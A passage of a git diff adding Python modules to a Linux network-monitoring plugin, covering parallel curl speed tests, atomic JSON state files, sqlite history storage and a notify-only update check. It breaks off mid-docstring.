(ValueError, UnicodeDecodeError): + return None, 0 + return _rate_over_payload(size, t_total, t_app), int(size) + + +def _aggregate_rate(windows): + """Mbps carried by a set of parallel streams. + + NOT the sum of their individual rates. Streams do not start or finish + together — TLS handshakes complete tens to hundreds of milliseconds apart + — so a stream that outlives the others has the line to itself and measures + all of it. Adding that to what its siblings measured while sharing counts + the same link two, three, four times. Observed on this ~450 Mbps line: + summing gave 647 / 629 / 538 Mbps for transfers that actually carried + 323 / 276 / 269. + + The honest figure is what crossed the wire divided by the time the wire + spent carrying it: total bytes over the union of the streams' payload + windows. The union rather than first-start-to-last-finish, so a gap + between streams is not billed as throughput. + + `windows` is (bytes, absolute start, absolute end) per stream. + """ + windows = [w for w in windows if w[0] > 0 and w[2] > w[1]] + if not windows: + return None + total_bytes = sum(w[0] for w in windows) + spans = sorted((w[1], w[2]) for w in windows) + union, cur_s, cur_e = 0.0, spans[0][0], spans[0][1] + for s, e in spans[1:]: + if s > cur_e: + union += cur_e - cur_s + cur_s, cur_e = s, e + else: + cur_e = max(cur_e, e) + union += cur_e - cur_s + if union < MIN_TIMED_WINDOW_S: + return None + return total_bytes * 8 / 1e6 / union + + +def _parallel_download(url: str, streams: int, timeout: float): + """Sum of concurrent stream rates. + + One TCP stream at ~10 ms of latency tops out far below a fast line's + capacity — a single-stream check read this 450 Mbps connection as 54. + Real page loads and video players open several connections, so several + streams is the honest simulation, and their sum is the number. + """ + if not shutil.which("curl"): + return None, 0 + procs = [] + for _ in range(streams): + try: + # curl times everything from its own start, and the children are + # spawned a few milliseconds apart, so their clocks have to be + # put on a common origin before their windows can be compared. + spawned = time.monotonic() + procs.append((subprocess.Popen( + ["curl", "-fsS", "--proto", "=https", + "--max-time", str(int(timeout)), "-o", "/dev/null", + "-w", "%{size_download} %{time_total} %{time_starttransfer}", + url], + stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True), + spawned)) + except OSError: + pass + windows, total_bytes = [], 0 + for p, spawned in procs: + try: + out, _ = p.communicate(timeout=timeout + 10) + except subprocess.TimeoutExpired: + p.kill() + p.wait() + continue + if p.returncode != 0: + continue + try: + size, t_total, t_start = (float(x) for x in out.split()) + except ValueError: + continue + total_bytes += int(size) + windows.append((size, spawned + t_start, spawned + t_total)) + return _aggregate_rate(windows), total_bytes + + +# Each stream aims for about this much time actually carrying bytes: long +# enough that TCP's ramp-up is a small share of what is timed, short enough +# that the check stays something nobody notices. +CONTENT_TARGET_S = 0.5 +# A stream never goes below this, so a hint that came in low cannot shrink +# the next transfer into a degenerate one. +CONTENT_STREAM_FLOOR = 500_000 +# And never above this, which is what bounds the hourly data budget. Only a +# fast line reaches either cap; everything slower asks for less and gets it. +CONTENT_DOWN_STREAM_CAP = 3_000_000 +CONTENT_UP_STREAM_CAP = 2_000_000 + + +def content_stream_bytes(hint_mbps, streams: int, cap: int) -> int: + """Bytes for one stream: about CONTENT_TARGET_S of payload at the rate + this line last showed, bounded both ways. + + A fixed size cannot serve both ends of the range it has to. Twelve MB is + a quarter of a second on a fast line and nine seconds of a saturated link + on a 10 Mbps one — the users least able to spare it were paying the most + for it, hourly. Sizing by time inverts that: the cap is reached only by + lines that can afford it, and a slow line asks for a fraction. + + With no hint — the first check on a network — the cap is what it sends, + because there is nothing yet to size against and one honest measurement + is what produces the hint for every check after it. + """ + if not hint_mbps or hint_mbps <= 0: + return cap + per_stream_mbps = float(hint_mbps) / max(1, streams) + want = int(per_stream_mbps / 8 * CONTENT_TARGET_S * 1e6) + return max(CONTENT_STREAM_FLOOR, min(cap, want)) + + +def content_test(down_hint_mbps=None, up_hint_mbps=None, + streams: int = 4) -> dict: + """The scheduled check. + + Both directions are carried by `streams` parallel connections, each sized + for a target duration rather than by dividing a fixed budget. Dividing a + budget was how the download bug worked from one side and the upload's from + the other: more streams meant shorter streams, and a stream too short to + time is withheld. + + Costs up to ~20 MB on a line fast enough to reach both caps, and a + fraction of that below — about 2 MB on a 25 Mbps line, where the old fixed + 16 MB took nine seconds of the link every hour. + """ + started = time.time() + per_stream = content_stream_bytes(down_hint_mbps, streams, + CONTENT_DOWN_STREAM_CAP) + up_per_stream = content_stream_bytes(up_hint_mbps, streams, + CONTENT_UP_STREAM_CAP) + down_mbps, down_n = _parallel_download( + CLOUDFLARE_DOWN.format(n=per_stream), streams, timeout=30) + if down_mbps is None and per_stream < CONTENT_DOWN_STREAM_CAP: + # Sized from history, and the line turned out to be faster than that + # history says — so fast that the streams finished inside the window + # too short to time, and were withheld. Nothing is stored for a + # withheld check, so the hint would never learn better and every + # check after this one would ask for the same too-short transfer and + # report nothing, forever. One pass at the cap re-anchors it. + retry_mbps, retry_n = _parallel_download( + CLOUDFLARE_DOWN.format(n=CONTENT_DOWN_STREAM_CAP), streams, + timeout=30) + down_mbps, down_n = retry_mbps, down_n + retry_n + + up_mbps, up_n = _parallel_upload(CLOUDFLARE_UP, up_per_stream, streams, + timeout=30) + if up_mbps is None and up_per_stream < CONTENT_UP_STREAM_CAP: + retry_mbps, retry_n = _parallel_upload( + CLOUDFLARE_UP, CONTENT_UP_STREAM_CAP, streams, timeout=30) + up_mbps, up_n = retry_mbps, up_n + retry_n + return { + "kind": "content", + "engine": "cloudflare", + "ok": down_mbps is not None, + "down_mbps": round(down_mbps, 1) if down_mbps else None, + "up_mbps": round(up_mbps, 1) if up_mbps else None, + "bytes": down_n + up_n, + "started": started, + "ended": time.time(), + } + + +def _peak_ookla() -> Optional[dict]: + """The official Speedtest CLI, when the user has installed it.""" + if not shutil.which("speedtest"): + return None + try: + r = subprocess.run( + ["speedtest", "--format=json", "--accept-license", "--accept-gdpr"], + capture_output=True, text=True, timeout=120, check=False) + except (subprocess.TimeoutExpired, OSError): + return None + if r.returncode != 0: + return None + try: + j = json.loads(r.stdout) + return { + "engine": "ookla", + "ok": True, + "down_mbps": round(j["download"]["bandwidth"] * 8 / 1e6, 1), + "up_mbps": round(j["upload"]["bandwidth"] * 8 / 1e6, 1), + "ping_idle": round(j["ping"]["latency"], 1), + "jitter": round(j["ping"].get("jitter", 0), 1), + "bytes": j["download"].get("bytes", 0) + j["upload"].get("bytes", 0), + "server": f'{j["server"].get("name", "")} · {j["server"].get("location", "")}', + "url": j.get("result", {}).get("url", ""), + } + except (ValueError, KeyError, TypeError, AttributeError): + # Someone else's JSON: a missing key, a string where a number was + # expected, a list where an object was. Any of those is a failed + # engine, not a dead worker thread. + return None + + +PEAK_TARGET_S = 10 # aim each sustained pass at about this long +PEAK_STREAMS = 4 +# __down 403s any single request of 100 MB or more; each parallel stream +# stays under that and the streams together still carry a fast line. +CLOUDFLARE_DOWN_MAX = 99_999_999 +PEAK_DOWN_FLOOR = 10_000_000 +PEAK_UP_FLOOR = 5_000_000 +PEAK_UP_CAP = 100_000_000 # also bounds the in-memory upload body + + +def _sized_pass(mbps: float, floor: int, cap: int) -> int: + """Bytes that should take about PEAK_TARGET_S at the measured rate.""" + return max(floor, min(cap, int(mbps / 8 * PEAK_TARGET_S * 1e6))) + + +def _pass_seconds(mbps: float, n_bytes: int) -> float: + return n_bytes * 8 / (mbps * 1e6) + + +def _peak_cloudflare() -> Optional[dict]: + """An estimate pass sizes a sustained pass. + + Fixed sizes made the whole test finish inside TCP ramp-up on a fast + line (2-3 s end to end), which both under-reads the line and leaves + the loaded-latency window with a handful of probe samples. The + estimate pass measures the rate; the sustained pass is sized to hold + that rate for ~PEAK_TARGET_S, split over parallel streams because a + single stream can neither exceed the per-request byte cap nor fill a + fast line by itself. A slow line's estimate pass already runs that + long and doubles as the sustained pass. + """ + total = 0 + best_down, size = _curl_timed_download(CLOUDFLARE_DOWN.format(n=25_000_000), + timeout=40) + total += size + if best_down and _pass_seconds(best_down, size) < PEAK_TARGET_S * 0.6: + n = _sized_pass(best_down / PEAK_STREAMS, PEAK_DOWN_FLOOR, + CLOUDFLARE_DOWN_MAX) + mbps, size = _parallel_download(CLOUDFLARE_DOWN.format(n=n), + PEAK_STREAMS, timeout=40) + total += size + if mbps: + best_down = max(best_down, mbps) + best_up = 0.0 + up_est, size = _curl_timed_upload(CLOUDFLARE_UP, 10_000_000, timeout=40) + total += size + if up_est: + best_up = up_est + if _pass_seconds(up_est, size) < PEAK_TARGET_S * 0.6: + # Per stream, as the download pass already sizes itself: the same + # total goes up, split four ways, so this costs no more data than + # the single stream it replaces and stops reading one stream's + # ceiling as the line. + n = _sized_pass(up_est / PEAK_STREAMS, PEAK_UP_FLOOR // PEAK_STREAMS, + PEAK_UP_CAP // PEAK_STREAMS) + mbps, size = _parallel_upload(CLOUDFLARE_UP, n, PEAK_STREAMS, + timeout=40) + total += size + if mbps: + best_up = max(best_up, mbps) + if not best_down: + return None + return { + "engine": "cloudflare", + "ok": True, + "down_mbps": round(best_down, 1), + "up_mbps": round(best_up, 1) if best_up else None, + "bytes": total, + "server": "speed.cloudflare.com", + } + + +def _peak_fast() -> Optional[dict]: + """Download-only, via the Netflix OCA endpoints fast.com hands out. + + The API picks the hosts, so each one is vetted before it is fetched + (see vet_target) and a target that does not pass is skipped rather + than failing the test — a bad entry in someone else's JSON should + cost us one candidate, not the measurement. + """ + r = _curl([FAST_API], timeout=15) + if not r or r.returncode != 0: + return None + try: + targets = [t["url"] for t in json.loads(r.stdout).get("targets", []) if t.get("url")] + except (ValueError, KeyError, TypeError, AttributeError): + return None + vetted = [v for v in (vet_target(u) for u in targets if isinstance(u, str)) if v] + best = 0.0 + total = 0 + for url, resolve in vetted[:3]: + mbps, size = _curl_timed_download(url, timeout=30, resolve=resolve) + total += size + if mbps: + best = max(best, mbps) + if not best: + return None + return {"engine": "fast.com", "ok": True, "down_mbps": round(best, 1), + "up_mbps": None, "bytes": total, "server": "Netflix OCA"} + + +def peak_test(engine: str = "Auto") -> dict: + """On-demand, engine per the user's setting.""" + started = time.time() + order = { + "Auto": (_peak_ookla, _peak_cloudflare, _peak_fast), + "Ookla": (_peak_ookla,), + "Cloudflare": (_peak_cloudflare,), + "fast.com": (_peak_fast,), + }.get(engine, (_peak_ookla, _peak_cloudflare, _peak_fast)) + for fn in order: + result = fn() + if result: + result.update({"kind": "peak", "started": started, "ended": time.time()}) + return result + return {"kind": "peak", "engine": engine, "ok": False, + "started": started, "ended": time.time()} diff --git a/plugins/io.github.x3me.nexthop/nexthopd/state.py b/plugins/io.github.x3me.nexthop/nexthopd/state.py new file mode 100644 index 0000000..36ff638 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/state.py @@ -0,0 +1,149 @@ +"""Reading and writing the JSON state files, safely. + +live.json is rewritten twice a second and is all the bar widget ever looks +at; recent.json is a pre-downsampled 30-minute window so the panel's default +graphs paint without a query; apps.json is per-application traffic. All are +written to a temp file and renamed, so a reader never sees a half-written +file. The QML side does not open any of them itself (0.1.9): `nexthop +stream` reads them through `read_text_bounded` — no symlink following, a +regular file or nothing, a size cap on the read itself — and hands the shell +one re-serialised line per record. +""" + +import json +import os +import stat +import tempfile +import time +from pathlib import Path + +from .paths import APPS, LIVE, RECENT + + +def write_atomic(path: Path, payload: dict, durable: bool = False): + """Write a JSON file so a reader sees the old one or the new one. + + The temp file plus rename is what gives readers that guarantee, and it + costs nothing. The fsync is a different promise — that the bytes + survive a power cut — and none of the snapshots written here needs + it: each is replaced within seconds of the daemon starting. On btrfs + that fsync was 25× the payload at the block layer (62.5 KiB per 2.5 KB + write, measured), twice a second. `durable` keeps it for a caller + that genuinely wants it. + """ + path = Path(path) + path.parent.mkdir(parents=True, exist_ok=True, mode=0o700) + fd, tmp = tempfile.mkstemp(dir=str(path.parent), prefix=f".{path.name}.") + try: + with os.fdopen(fd, "w") as f: + json.dump(payload, f, separators=(",", ":")) + f.flush() + if durable: + os.fsync(f.fileno()) + os.replace(tmp, path) + except BaseException: + try: + os.unlink(tmp) + except OSError: + pass + raise + + +def read_text_bounded(path: Path, max_bytes: int): + """Read a state file, enforcing every property on the fd actually read. + + `O_NOFOLLOW` refuses a symlinked path outright, `O_NONBLOCK` means a + FIFO left at the path returns instead of stalling the caller, `fstat` + on the descriptor proves it is a regular file, and the cap bounds the + read itself rather than trusting a size sampled beforehand. Returns + (text, stamp) or None; `stamp` is (mtime_ns, size), enough for a + caller to skip re-reading an unchanged file. + + This is the only way state reaches a reader — the QML side consumes it + through `nexthop stream` rather than opening these paths itself, so an + oversized or non-regular file can never allocate or block inside the + long-lived shell process. + """ + try: + fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_CLOEXEC | os.O_NONBLOCK) + except OSError: + return None + try: + st = os.fstat(fd) + if not stat.S_ISREG(st.st_mode): + return None + chunks, total = [], 0 + while total <= max_bytes: + try: + chunk = os.read(fd, min(65536, max_bytes + 1 - total)) + except BlockingIOError: + break + except OSError: + return None + if not chunk: + break + chunks.append(chunk) + total += len(chunk) + if total > max_bytes: + return None + stamp = (st.st_mtime_ns, st.st_size) + finally: + os.close(fd) + try: + return b"".join(chunks).decode("utf-8"), stamp + except UnicodeDecodeError: + return None + + +def read_json(path: Path, default=None, max_bytes: int = 4 * 1024 * 1024): + """Bounded read of a state file, parsed. The bound lives on the read, + not on a prior stat, for the same reason as the daemon's config read.""" + got = read_text_bounded(path, max_bytes) + if got is None: + return default + try: + return json.loads(got[0]) + except ValueError: + return default + + +def retire_legacy_snapshots(old_dir: Path, new_dir: Path, now: float = None): + """The snapshots moved to the runtime dir in 0.2.22; tidy the old place. + + `nexthop stream` is a long-lived process that resolved its paths when it + started, so a reader from before the move keeps watching the state dir + for as long as it lives — through the daemon handover, until the shell + reloads the QML. Deleting live.json there would leave that reader + holding the last number it saw, as if it were current. It is rewritten + once instead, as a tombstone: state "no-daemon", no index, and no pid, + so the old bar shows "no data" and the old version watch finds nothing + to retire. recent.json and apps.json are simply removed. + """ + old_dir, new_dir = Path(old_dir), Path(new_dir) + if old_dir == new_dir: + return + now = time.time() if now is None else now + for name in (RECENT, APPS): + try: + (old_dir / name).unlink() + except OSError: + pass + live = old_dir / LIVE + got = read_text_bounded(live, 256 * 1024) + if got is None: + return + try: + payload = json.loads(got[0]) + except ValueError: + payload = None + if not isinstance(payload, dict): + try: + live.unlink() + except OSError: + pass + return + for key in ("pid", "pid_start", "daemon_version"): + payload.pop(key, None) + payload.update({"t": round(now, 3), "state": "no-daemon", "index": None, + "band": None, "down_since": None}) + write_atomic(live, payload, durable=True) diff --git a/plugins/io.github.x3me.nexthop/nexthopd/store.py b/plugins/io.github.x3me.nexthop/nexthopd/store.py new file mode 100644 index 0000000..42dab9e --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/store.py @@ -0,0 +1,402 @@ +"""Persistence: per-minute rows, hourly rollups, tests and events. + +sqlite from the standard library, in WAL mode so the CLI can read a window +of history while the daemon is mid-write. Raw half-second samples never +reach the disk — they are folded into a minute row and discarded, which is +what keeps a month of continuous monitoring under about 12 MB. +""" + +import functools +import sqlite3 +import threading +import time +from pathlib import Path + +from .probes import nearest_rank + +SAMPLE_COLUMNS = [ + "local_p50", "local_p95", "local_jitter", "local_loss", + "wan_p50", "wan_p95", "wan_jitter", "wan_loss", + # 0.2.20: the two order statistics the scored fold and its critics + # actually turn on. Lag leans on p75; Orb headlines a high-water max; + # LibreQoS takes a phase percentile. Comparing those against our own + # history was only possible as an upper bound because neither was ever + # written down — p50 and p95 alone cannot reconstruct either. Recorded + # now, scored never: the decision needs real days behind it, the same + # rule loaded latency was held to in 0.1.11. + "local_p75", "local_max", "wan_p75", "wan_max", + "lag", "rx_bps", "tx_bps", "signal_dbm", + "resp", "rel", "spd", "idx", + # Latency split by what the link was doing at the time. The gap between + # them is bufferbloat, and it only accumulates into something worth + # scoring if it is recorded minute by minute first. + "lag_idle", "lag_loaded", + # 0.2.0: what ICMP alone would have scored, beside the instrument- + # scored lag — the basis switch stays auditable per minute. + "lag_icmp", +] + +# Minute-only, and deliberately not in SAMPLE_COLUMNS: `rollup_hours` averages +# everything in that list, and a mean of drains destroys the one thing the +# drain is being stored for. Its value is quantised by probe cadence, so what +# has to survive is the DISTRIBUTION — sixty of them averaged is a number with +# none of that in it. +# +# 0.2.37. Until now the drain was published to live.json and stored nowhere, +# so a figure on screen could never be checked afterwards; the distribution +# that showed it was quantised had to come from the other implementation +# because this one had no history to look at. +# +# Three numbers rather than one. `drain_settled` says whether the link +# recovered or the window merely ended, so a censored floor is not read as a +# measurement. `drain_min_ms` is the tightest bound across the seated +# instruments beside the loosest, which is what is published today — carrying +# both is what lets the choice between them be settled from history instead of +# argued. `drain_src` names the instrument the published value came from, +# because each instrument's value is floored at its own cadence and knowing +# which one won is the difference between an auditable figure and a guess. +MINUTE_ONLY_REAL = ["drain_ms", "drain_min_ms", "drain_settled"] +MINUTE_ONLY_TEXT = ["drain_src"] + +_COLS_SQL = ", ".join(f"{c} REAL" for c in SAMPLE_COLUMNS) +_MINUTE_EXTRA_SQL = ", ".join( + [f"{c} REAL" for c in MINUTE_ONLY_REAL] + [f"{c} TEXT" for c in MINUTE_ONLY_TEXT]) + +SCHEMA = f""" +CREATE TABLE IF NOT EXISTS minute ( + ts INTEGER PRIMARY KEY, {_COLS_SQL}, {_MINUTE_EXTRA_SQL}, + iface TEXT, network TEXT, probes TEXT +); +CREATE TABLE IF NOT EXISTS hour ( + ts INTEGER PRIMARY KEY, {_COLS_SQL}, iface TEXT, network TEXT +); +CREATE TABLE IF NOT EXISTS tests ( + ts INTEGER PRIMARY KEY, kind TEXT, engine TEXT, + down_mbps REAL, up_mbps REAL, ping_idle REAL, ping_loaded REAL, + jitter REAL, bytes INTEGER, server TEXT, ok INTEGER, detail TEXT, + network TEXT +); +CREATE TABLE IF NOT EXISTS events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ts INTEGER NOT NULL, ended_ts INTEGER, kind TEXT, severity TEXT, + leg TEXT, detail TEXT +); +CREATE INDEX IF NOT EXISTS events_ts ON events(ts); +CREATE INDEX IF NOT EXISTS tests_kind_ts ON tests(kind, ts); +""" + + +def _locked(method): + """Serialise access to the one connection — see Store.""" + @functools.wraps(method) + def wrapper(self, *args, **kwargs): + with self._lock: + return method(self, *args, **kwargs) + return wrapper + + +class Store: + """One connection, one lock. + + Three threads reach this object: the daemon loop (minute rows, events, + a read for Reliability on every tick), the content-test worker and the + peak-test worker (one row each when they finish). The connection is + opened with `check_same_thread=False`, which only tells the sqlite3 + module to allow that — it does not make concurrent use of one + connection safe, and a forced overlap reproduces "bad parameter or + other API misuse" and a lost row. Every transaction here is a few + milliseconds, so a mutex is the whole fix; a writer thread with a + queue was considered and is more machinery than three callers need. + """ + + def __init__(self, path: Path, read_only: bool = False): + self.path = Path(path) + self._lock = threading.RLock() + if read_only: + uri = f"file:{self.path}?mode=ro" + self.db = sqlite3.connect(uri, uri=True, timeout=5.0) + else: + self.path.parent.mkdir(parents=True, exist_ok=True) + self.db = sqlite3.connect(self.path, timeout=5.0, + check_same_thread=False) + self.db.executescript(SCHEMA) + self._migrate() + self.db.execute("PRAGMA journal_mode=WAL") + self.db.execute("PRAGMA synchronous=NORMAL") + self.db.commit() + self.db.row_factory = sqlite3.Row + + def _migrate(self): + """Additive migrations for databases created by older versions.""" + for table, column in (("tests", "network"), + ("minute", "lag_idle"), ("minute", "lag_loaded"), + ("hour", "lag_idle"), ("hour", "lag_loaded"), + ("minute", "lag_icmp"), ("hour", "lag_icmp"), + ("minute", "probes"), + ("minute", "local_p75"), ("hour", "local_p75"), + ("minute", "local_max"), ("hour", "local_max"), + ("minute", "wan_p75"), ("hour", "wan_p75"), + ("minute", "wan_max"), ("hour", "wan_max"), + ("minute", "drain_ms"), + ("minute", "drain_min_ms"), + ("minute", "drain_settled"), + ("minute", "drain_src")): + try: + self.db.execute( + f"ALTER TABLE {table} ADD COLUMN {column} " + f"{'TEXT' if column in ('network', 'probes', 'drain_src') else 'REAL'}") + except sqlite3.OperationalError: + pass # column already there + + @_locked + def close(self): + try: + self.db.close() + except sqlite3.Error: + pass + + # ---------------------------------------------------------------- writes + + @_locked + def put_minute(self, ts: int, values: dict, iface: str = "", + network: str = "", probes: str = ""): + extra = MINUTE_ONLY_REAL + MINUTE_ONLY_TEXT + cols = ["ts"] + SAMPLE_COLUMNS + extra + ["iface", "network", "probes"] + row = ([int(ts)] + + [values.get(c) for c in SAMPLE_COLUMNS] + + [values.get(c) for c in extra] + + [iface, network, probes]) + placeholders = ", ".join("?" * len(cols)) + self.db.execute( + f"INSERT OR REPLACE INTO minute ({', '.join(cols)}) VALUES ({placeholders})", + row, + ) + self.db.commit() + + @_locked + def put_test(self, ts: int, kind: str, engine: str, **kw): + self.db.execute( + """INSERT OR REPLACE INTO tests + (ts, kind, engine, down_mbps, up_mbps, ping_idle, ping_loaded, + jitter, bytes, server, ok, detail, network) + VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)""", + (int(ts), kind, engine, kw.get("down_mbps"), kw.get("up_mbps"), + kw.get("ping_idle"), kw.get("ping_loaded"), kw.get("jitter"), + kw.get("bytes"), kw.get("server"), 1 if kw.get("ok", True) else 0, + kw.get("detail", ""), kw.get("network", "")), + ) + self.db.commit() + + @_locked + def open_event(self, ts: int, kind: str, severity: str, leg: str, detail: str) -> int: + cur = self.db.execute( + "INSERT INTO events (ts, kind, severity, leg, detail) VALUES (?,?,?,?,?)", + (int(ts), kind, severity, leg, detail), + ) + self.db.commit() + return cur.lastrowid + + @_locked + def close_event(self, event_id: int, ended_ts: int, detail: str = None): + if detail is None: + self.db.execute("UPDATE events SET ended_ts=? WHERE id=?", + (int(ended_ts), event_id)) + else: + self.db.execute("UPDATE events SET ended_ts=?, detail=? WHERE id=?", + (int(ended_ts), detail, event_id)) + self.db.commit() + + # ------------------------------------------------------------- maintenance + + @_locked + def rollup_hours(self, now: float = None): + """Fold complete minutes into hour rows. + + Averages the averages, which is fair because every minute row covers + the same span. Percentiles do not survive that — an hourly p95 built + from sixty per-minute p95s is a mean of p95s, and it is labelled as + such wherever it is displayed. The same caveat binds harder to the + new max columns: an hourly `local_max` is a mean of sixty maxima, + which is not the hour's worst sample and must never be shown as one. + Use the minute rows for anything that reasons about the tail. + + An hour that spanned two networks is labelled with neither: MAX() + would pick whichever name sorts last and file the other network's + minutes under it. Blank is "mixed", which no consumer can mistake + for a network. + """ + now = now or time.time() + current_hour = int(now // 3600) * 3600 + avg = ", ".join(f"AVG({c}) AS {c}" for c in SAMPLE_COLUMNS) + self.db.execute( + f"""INSERT OR REPLACE INTO hour + (ts, {', '.join(SAMPLE_COLUMNS)}, iface, network) + SELECT (ts / 3600) * 3600 AS bucket, {avg}, + CASE WHEN COUNT(DISTINCT iface) > 1 THEN '' + ELSE MAX(iface) END, + CASE WHEN COUNT(DISTINCT network) > 1 THEN '' + ELSE MAX(network) END + FROM minute WHERE ts < ? GROUP BY bucket""", + (current_hour,), + ) + self.db.commit() + + @_locked + def prune(self, minute_days: int = 7, hour_days: int = 400, now: float = None): + now = now or time.time() + self.db.execute("DELETE FROM minute WHERE ts < ?", + (int(now - minute_days * 86400),)) + self.db.execute("DELETE FROM hour WHERE ts < ?", + (int(now - hour_days * 86400),)) + # Events were never pruned before 0.2.21 — about sixty rows a day, + # unbounded. They keep the hourly history's horizon. + self.db.execute("DELETE FROM events WHERE ts < ?", + (int(now - hour_days * 86400),)) + self.db.commit() + + @_locked + def close_orphans(self, now: float = None) -> int: + """Close events a previous daemon left open. Returns how many. + + Only the daemon that opened an event can close it, so one that + died mid-outage — or was retired by the version handover with a + rate-drop open — leaves `ended_ts` NULL for good. Two readers + treat NULL as "still happening": `outage_stats` would charge such + an outage against every Reliability window forever, and `events` + would list it as ongoing. When it actually ended is unknowable, + so it is closed at the shortest span the store accepts rather + than at a guessed later time: undercharging by the lost tail is + the safe direction, and inventing a duration is not. + + Called once, after the lock is held — a second daemon that loses + the flock must not close the running one's events on its way out. + """ + cur = self.db.execute( + "UPDATE events SET ended_ts = ts + 1 WHERE ended_ts IS NULL") + self.db.commit() + return cur.rowcount + + # ---------------------------------------------------------------- reads + + @_locked + def series(self, seconds: float, now: float = None, + resolution: str = "auto") -> list: + """History over a window, at whichever resolution suits it. + + Auto: under six hours reads per-minute rows; anything longer reads + hourly ones, so a seven-day graph is 168 points rather than 10,080. + Callers that genuinely want the fine rows (the 24 h experience + ribbon) ask for "minute" explicitly. + """ + now = now or time.time() + if resolution in ("minute", "hour"): + table = resolution + else: + table = "minute" if seconds <= 6 * 3600 else "hour" + rows = self.db.execute( + f"SELECT * FROM {table} WHERE ts >= ? ORDER BY ts", + (int(now - seconds),), + ).fetchall() + return [dict(r) for r in rows], table + + @_locked + def tests(self, limit: int = 20, kind: str = None) -> list: + if kind: + rows = self.db.execute( + "SELECT * FROM tests WHERE kind=? ORDER BY ts DESC LIMIT ?", + (kind, limit)).fetchall() + else: + rows = self.db.execute( + "SELECT * FROM tests ORDER BY ts DESC LIMIT ?", (limit,)).fetchall() + return [dict(r) for r in rows] + + @_locked + def events(self, seconds: float = 7 * 86400, limit: int = 100, + now: float = None) -> list: + """Events overlapping the window, newest first. + + Filtering on start time alone dropped an outage that began before + the window and ended inside it — the one the user opens the list + to see. Same overlap rule `outage_stats` has always used. + """ + now = now or time.time() + start = int(now - seconds) + rows = self.db.execute( + """SELECT * FROM events + WHERE ts >= ? OR ended_ts IS NULL OR ended_ts >= ? + ORDER BY ts DESC LIMIT ?""", + (start, start, limit)).fetchall() + return [dict(r) for r in rows] + + @_locked + def baseline_speed(self, days: int = 30, network: str = "", + min_samples: int = 5, now: float = None, + fallback: bool = True): + """This connection's own normal: the p90 of recent content downloads. + + p90 rather than max so one lucky quiet-hour run does not set a bar + the line can never reach again. Scoped to the current network when + it has enough samples — the office's normal is not the home's — + falling back to all networks, and to None until there is enough + history to mean anything. + """ + now = now or time.time() + since = int(now - days * 86400) + + def p90(rows): + vals = sorted(r["down_mbps"] for r in rows + if r["down_mbps"] is not None) + if len(vals) < min_samples: + return None + return nearest_rank(vals, 0.9) + + if network: + rows = self.db.execute( + """SELECT down_mbps FROM tests + WHERE kind='content' AND ok=1 AND ts >= ? AND network = ?""", + (since, network)).fetchall() + result = p90(rows) + if result is not None: + return result + # The caller decides whether a cross-network baseline is meaningful. + # For the degradation penalty it is not: "is it normal here" cannot + # be answered with another network's normal. + if not fallback: + return None + rows = self.db.execute( + """SELECT down_mbps FROM tests + WHERE kind='content' AND ok=1 AND ts >= ?""", + (since,)).fetchall() + return p90(rows) + + @_locked + def outage_stats(self, seconds: float, now: float = None): + """(fraction fully down, count of disruptions, fraction disrupted). + + Disruptions carry their duration as well as their count because + reliability charges both kinds of interruption in the same currency — + time. Counting alone made three brief blips outweigh an hour offline. + """ + now = now or time.time() + start = now - seconds + rows = self.db.execute( + """SELECT ts, ended_ts, kind FROM events + WHERE kind IN ('outage', 'disruption') AND (ended_ts IS NULL OR ended_ts >= ?)""", + (int(start),)).fetchall() + down = 0.0 + disrupted = 0.0 + disruptions = 0 + for r in rows: + begin = max(r["ts"], start) + end = r["ended_ts"] if r["ended_ts"] else now + end = min(end, now) + if end <= begin: + continue + if r["kind"] == "outage": + down += end - begin + else: + disruptions += 1 + disrupted += end - begin + span = seconds if seconds else 0.0 + return ((down / span if span else 0.0), disruptions, + (disrupted / span if span else 0.0)) diff --git a/plugins/io.github.x3me.nexthop/nexthopd/update.py b/plugins/io.github.x3me.nexthop/nexthopd/update.py new file mode 100644 index 0000000..57638e4 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/nexthopd/update.py @@ -0,0 +1,246 @@ +"""Is a newer version published? Notify, never install. + +Omarchy checks itself for updates (`omarchy-update-available` looks at its own +checkout and its package) but nothing checks plugins, so a user can sit on an +old Nexthop indefinitely without ever being told. This closes that gap the +smallest way it can be closed. + +**This module never updates anything.** It answers one question — is the +installed checkout behind its origin — and the answer becomes a quiet glyph in +the panel naming the command the user can run. Updating stays where Omarchy +put it: `omarchy plugin update`, which shows the diff and asks. A plugin that +fetched and ran new code would be self-modifying code inside a system that +deliberately gates updates behind human review, and it would reopen a security +review that took four rounds to clear. + +How it stays cheap and read-only: + +* `git ls-remote` asks the remote for its HEAD without writing a single byte + into the user's checkout — no fetch, no new objects, no refs touched. It + takes well under a second and needs no credentials. +* Whether we are *behind* rather than merely *different* is then decided from + objects we already have, so a developer checkout that is ahead of origin is + never nagged. +* Egress is to the repository the user installed from and nowhere else. It + carries nothing about them or their network. It is still egress, so it is + disclosed and `updateCheck` turns it off. + +The one piece of untrusted input here is the commit id the remote hands back, +and it goes on to be an argument to another `git` call — so it is validated +against the exact 40-hex shape before it reaches a subprocess, the same +doctrine `vet_target()` applies to URLs we did not choose. +""" + +import os +import re +import shutil +import subprocess +import threading +from pathlib import Path + +# A git object id and nothing else. This is the guard that matters: the value +# arrives from the network and is then passed as an argument to git. +RE_SHA = re.compile(r"^[0-9a-f]{40}$") + +# A release is a rare event, and the check exists to catch the user who would +# otherwise never look. Daily is generous. +CHECK_INTERVAL_S = 24 * 3600 +# Not at startup: the daemon restarts with the shell, and a check on every +# restart would be noise for no benefit. Nothing is lost by waiting. +FIRST_CHECK_DELAY_S = 300 +# The remote may be slow, unreachable, or a captive portal that answers +# everything. None of those may stall the daemon. +GIT_TIMEOUT_S = 20 +# `ls-remote` prints one short line per ref; this is far past HEAD alone. +MAX_LS_REMOTE_BYTES = 64 * 1024 + + +def verdict(local: str, remote: str, have_remote: bool, + head_before_remote: bool, remote_before_head: bool) -> str: + """Where the checkout stands relative to origin. Pure, so it is testable. + + * `current` — the same commit. + * `behind` — origin is strictly ahead of us: an update. + * `ahead` — we are strictly ahead of origin: a dev checkout. + * `diverged` — neither contains the other. + * `unknown` — we could not tell, and say so rather than guessing. + + Both ancestry directions are needed, and the reason is the likeliest + 